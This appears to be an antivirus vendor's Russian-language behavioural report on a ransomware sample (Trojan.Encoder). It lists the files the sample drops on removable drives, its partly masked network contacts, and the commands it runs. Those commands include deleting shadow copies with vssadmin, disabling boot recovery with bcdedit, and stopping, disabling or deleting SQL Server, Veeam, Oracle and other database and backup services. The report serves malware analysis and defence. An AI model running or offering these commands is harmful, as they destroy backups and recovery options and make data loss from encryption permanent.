Техническая информация
Для обеспечения автозапуска и распространения
Создает следующие файлы на съемном носителе
- <Имя диска съемного носителя>:\delete.avi
- <Имя диска съемного носителя>:\dashborder_192.bmp
- <Имя диска съемного носителя>:\tileimage.bmp
- <Имя диска съемного носителя>:\default.bmp
- <Имя диска съемного носителя>:\applicantform_en.doc
- <Имя диска съемного носителя>:\split.avi
- <Имя диска съемного носителя>:\hanni_umami_chapter.doc
- <Имя диска съемного носителя>:\ovp25012015.doc
- <Имя диска съемного носителя>:\february_catalogue__2015.doc
- <Имя диска съемного носителя>:\weeklysheet1215.doc
- <Имя диска съемного носителя>:\file_p_00000000_1371597592.docx
- <Имя диска съемного носителя>:\holycrosschurchinstructions.docx
- <Имя диска съемного носителя>:\fi51.doc
Вредоносные функции
Для затруднения выявления своего присутствия в системе
удаляет теневые копии разделов.
Запускает на исполнение
- '%WINDIR%\syswow64\taskkill.exe' /F /IM Veeam.Backup.Agent.ConfigurationService.exe
- '%WINDIR%\syswow64\net.exe' stop MSSQL$
- '%WINDIR%\syswow64\net.exe' stop SQLSERVERAGENT
- '%WINDIR%\syswow64\net.exe' stop "SQLSERVERAGENT"
- '%WINDIR%\syswow64\net.exe' stop "SQLBrowser"
- '%WINDIR%\syswow64\net.exe' stop SQLBrowser
- '%WINDIR%\syswow64\net.exe' stop "SQLTELEMETRY"
- '%WINDIR%\syswow64\net.exe' stop "MsDtsServer130"
- '%WINDIR%\syswow64\net.exe' stop "SSISTELEMETRY130"
- '%WINDIR%\syswow64\net.exe' stop "MSOLAP$SHOPCONTROL9"
- '%WINDIR%\syswow64\net.exe' stop "SQLWrite"
- '%WINDIR%\syswow64\net.exe' stop vss
- '%WINDIR%\syswow64\net.exe' stop "MSSQL$SHOPCONTROL9"
- '%WINDIR%\syswow64\taskkill.exe' /F /IM U8WorkerService.exe
- '%WINDIR%\syswow64\net.exe' stop "MSSQLFDLauncher$SHOPCONTROL9"
- '%WINDIR%\syswow64\taskkill.exe' -f -im sqlbrowser.exe
Внедряет код в
следующие системные процессы:
- %WINDIR%\microsoft.net\framework\v4.0.30319\aspnet_compiler.exe
Завершает или пытается завершить
следующие системные процессы:
- %WINDIR%\microsoft.net\framework\v4.0.30319\aspnet_compiler.exe
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\ktwtqezqenfrcoqncff.bat
- <Текущая директория>\targetinfo.txt
Изменяет следующие файлы
- <Имя диска съемного носителя>:\correct.avi
- <Имя диска съемного носителя>:\delete.avi
- <Имя диска съемного носителя>:\split.avi
- <Имя диска съемного носителя>:\dashborder_192.bmp
- <Имя диска съемного носителя>:\tileimage.bmp
- <Имя диска съемного носителя>:\default.bmp
- <Имя диска съемного носителя>:\applicantform_en.doc
- <Имя диска съемного носителя>:\ovp25012015.doc
- <Имя диска съемного носителя>:\hanni_umami_chapter.doc
- <Имя диска съемного носителя>:\february_catalogue__2015.doc
- <Имя диска съемного носителя>:\weeklysheet1215.doc
- <Имя диска съемного носителя>:\fi51.doc
- <Имя диска съемного носителя>:\file_p_00000000_1371597592.docx
- <Имя диска съемного носителя>:\holycrosschurchinstructions.docx
- <Имя диска съемного носителя>:\adhd_and_obesity.docx
Изменяет множество файлов пользовательских данных (Trojan.Encoder).
Изменяет расширения файлов пользовательских данных (Trojan.Encoder).
Сетевая активность
Подключается к
- 'ap#.#pify.org':80
- '19#.#06.191.141':80
- '22#.0.0.22':445
TCP
Запросы HTTP GET
- http://ap#.#pify.org/
UDP
- DNS ASK ap#.#pify.org
Другое
Ищет следующие окна
- ClassName: '' WindowName: ''
Создает и запускает на исполнение
- '%WINDIR%\syswow64\cmd.exe' /c bcdedit /set {current} bootstatuspolicy ignoreallfailures' (со скрытым окном)
- '<SYSTEM32>\vssadmin.exe' delete shadows /all /quiet' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c bcdedit /set {current} recoveryenabled no' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /C taskkill -f -im sqlbrowser.exe&&taskkill -f -im sqlwriter.exe&&taskkill -f -im sqlservr.exe&&taskkill -f -im msmdsrv.exe&&taskkill -f -im MsDtsSrvr.exe&&taskkill -f -im sqlceip.exe&&taskkill...' (со скрытым окном)
Запускает на исполнение
- '%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\Ktwtqezqenfrcoqncff.bat" "
- '%WINDIR%\syswow64\sc.exe' config SQLSERVERAGENT start=disabled
- '%WINDIR%\syswow64\sc.exe' config "SQLAgent" start= disabled
- '%WINDIR%\syswow64\net1.exe' stop "SQLBrowser"
- '%WINDIR%\syswow64\cmd.exe' /c "color b & a & @sc delete "XT800Service_Personal" & @sc delete SQLSERVERAGENT & @sc delete SQLWriter & @sc delete SQLBrowser & @sc delete MSSQLFDLauncher & @sc delete MSSQLSERVER & @sc delet...
- '%WINDIR%\syswow64\net1.exe' stop SQLBrowser
- '%WINDIR%\syswow64\net1.exe' stop "SQLTELEMETRY"
- '%WINDIR%\syswow64\cmd.exe' /c "color b & @sc delete "DAService_TCP" & @sc delete "eCard-TTransServer" & @sc delete eCardMPService & @sc delete EnergyDataService & @sc delete UI0Detect & @sc delete K3MobileService & @sc d...
- '%WINDIR%\syswow64\net1.exe' stop "SQLSERVERAGENT"
- '%WINDIR%\syswow64\cmd.exe' /C taskkill -f -im sqlbrowser.exe&&taskkill -f -im sqlwriter.exe&&taskkill -f -im sqlservr.exe&&taskkill -f -im msmdsrv.exe&&taskkill -f -im MsDtsSrvr.exe&&taskkill -f -im sqlceip.exe&&taskkill...
- '%WINDIR%\syswow64\sc.exe' config "MSSQLServerADHelper100" start= disabled
- '%WINDIR%\syswow64\net1.exe' stop "SSISTELEMETRY130"
- '%WINDIR%\syswow64\net1.exe' stop "MSOLAP$SHOPCONTROL9"
- '%WINDIR%\syswow64\cmd.exe' /c "color b & @sc delete OracleOraDb11g_home1ClrAgent & @sc delete OracleOraDb11g_home1TNSListener & @sc delete OracleVssWriterORCL & @sc delete OracleServiceORCL & @sc delete aspnet_state @sc ...
- '%WINDIR%\syswow64\sc.exe' config "MSSQLServerOLAPService" start= disabled
- '%WINDIR%\syswow64\net1.exe' stop "SQLWrite"
- '%WINDIR%\syswow64\cmd.exe' /c "color b & @sc delete "UWS LoPriv Services" & @sc delete ftnlsv3 & @sc delete ftnlses3 & @sc delete FxService & @sc delete "UtilDev Web Server Pro" & @sc delete ftusbrdwks & @sc delete ftusb...
- '%WINDIR%\syswow64\net1.exe' stop vss
- '%WINDIR%\syswow64\net1.exe' stop "MsDtsServer130"
- '%WINDIR%\syswow64\sc.exe' config SQLBrowser start=disabled
- '%WINDIR%\syswow64\sc.exe' config "MSSQL" start= disabled
- '%WINDIR%\syswow64\cmd.exe' /c bcdedit /set {current} recoveryenabled no
- '%WINDIR%\syswow64\cmd.exe' /c "color b & a & @taskkill /IM DDSoftPwsTomcat9.exe /F & @taskkill /IM U8SmartClient.exe /F & @taskkill /IM U8SmartClientMonitor.exe /F & @taskkill /IM tomcat9.exe /F & @taskkill /IM SqlManage...
- '%WINDIR%\syswow64\cmd.exe' /c "color b & sc config MSSQLSERVER start=disabled & sc config "SQL Server (MSSQLSERVER)" start=disabled & net stop MSSQL$ & sc config MSSQL$ start=disabled & net stop SQLSERVERAGENT & sc confi...
- '%WINDIR%\syswow64\cmd.exe' /c "color b & a & taskkill /F /IM Veeam.Backup.Agent.ConfigurationService.exe & taskkill /F /IM Veeam.Backup.BrokerService.exe & taskkill /F /IM Veeam.Backup.CatalogDataService.exe & taskkill /...
- '%WINDIR%\syswow64\ipconfig.exe'
- '%WINDIR%\syswow64\sc.exe' config MSSQLSERVER start=disabled
- '%WINDIR%\syswow64\sc.exe' config "SQL Server (MSSQLSERVER)" start=disabled
- '%WINDIR%\syswow64\cmd.exe' /c "color b & a & net stop "SQLSERVERAGENT" & net stop "SQLBrowser" & net stop "SQLTELEMETRY" & net stop "MsDtsServer130" & net stop "SSISTELEMETRY130" & net stop "SQLWrite" & net stop "MSSQL$V...
- '%WINDIR%\syswow64\cmd.exe' /c "color b & a & sc config "SQLWriter" start= disabled & sc config "MSSQL$VEEAMSQL2012" start= disabled & sc config "SQLAgent$VEEAMSQL2012" start= disabled & sc config "MSSQL" start= disabled ...
- '%WINDIR%\syswow64\net1.exe' stop MSSQL$
- '%WINDIR%\syswow64\whoami.exe'
- '%WINDIR%\syswow64\cmd.exe' /c "color b & taskkill /F /IM U8WorkerService.exe & taskkill /F /IM UFIDA.U8.ECE.UTU.Services.exe & taskkill /F /IM UFIDA.U8.UAP.ReportService.exe & taskkill /F /IM U8AllAuthServer.exe & taskki...
- '%WINDIR%\syswow64\cmd.exe' /c "color b & a & net stop "MSOLAP$SHOPCONTROL9" & net stop "MSSQL$SHOPCONTROL9" & net stop "MSSQLFDLauncher$SHOPCONTROL9" & net stop "ReportServer$SHOPCONTROL9" & net stop "SQLAgent$SHOPCONTRO...
- '%WINDIR%\microsoft.net\framework\v4.0.30319\aspnet_compiler.exe'
- '%WINDIR%\syswow64\net1.exe' stop SQLSERVERAGENT
- '%WINDIR%\syswow64\sc.exe' config "SQLWriter" start= disabled
- '%WINDIR%\syswow64\sc.exe' config "MSSQL$VEEAMSQL2012" start= disabled
- '%WINDIR%\syswow64\cmd.exe' /c "color b & a & @taskkill /IM Tomcat7w.exe /F & @taskkill /IM "UFSoft.U8.OC.QuartzScheduler.exe" /F & @taskkill /IM UFSoft.U8.OC.QuartzScheduler.exe /F & @taskkill /IM Launchpad.exe /F & @tas...
- '%WINDIR%\syswow64\sc.exe' config "SQLAgent$VEEAMSQL2012" start= disabled
- '%WINDIR%\syswow64\cmd.exe' /c bcdedit /set {current} bootstatuspolicy ignoreallfailures
- '%WINDIR%\syswow64\sc.exe' config MSSQL$ start=disabled
- '%WINDIR%\syswow64\net1.exe' stop "MSSQL$SHOPCONTROL9"
- '%WINDIR%\syswow64\sc.exe' config vss start=disabled
